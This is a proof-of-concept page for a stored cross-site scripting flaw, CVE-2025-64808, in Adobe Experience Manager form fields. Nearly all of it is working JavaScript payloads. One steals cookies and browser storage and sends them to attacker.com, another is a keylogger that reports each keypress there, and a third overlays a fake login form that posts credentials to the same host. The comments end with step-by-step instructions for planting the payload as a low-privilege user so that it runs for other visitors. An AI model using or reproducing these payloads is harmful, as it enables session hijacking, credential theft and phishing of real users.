CVE-2025-64808 Adobe Experience Manager 存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-64808 --> <!-- Adobe Experience Manager Form Field Injection --> <!-- PoC Description: --> <!-- This PoC demonstrates how to inject malicious JavaScript into AEM form fields --> <!-- The injected script will be stored and executed when other users view the page --> <!-- Step 1: Inject malicious script into form field --> <script> // Malicious JavaScript payload // This script steals session cookies and sends to attacker controlled server var stolenData = { cookies: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage, userAgent: navigator.userAgent, screenInfo: screen.width + 'x' + screen.height }; // Send stolen data to attacker's server fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(stolenData))); // Alternative: Session hijacking via cookie theft document.write('<img src="https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie) + '">'); </script> <!-- Alternative payload: Keylogger --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k=' + e.key); }); </script> <!-- Alternative payload: DOM manipulation/Phishing --> <script> var originalHTML = document.body.innerHTML; document.body.innerHTML = originalHTML + '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h1>Session Expired - Please Login Again</h1><form action="https://attacker.com/phish"><input type="email" placeholder="Email"><input type="password" placeholder="Password"><button type="submit">Login</button></form></div>'; </script> <!-- Usage: --> <!-- 1. Login to AEM with low-privilege account --> <!-- 2. Navigate to form editor --> <!-- 3. Paste above payload into any text input field --> <!-- 4. Save and publish the page --> <!-- 5. When victim views the page, malicious script executes -->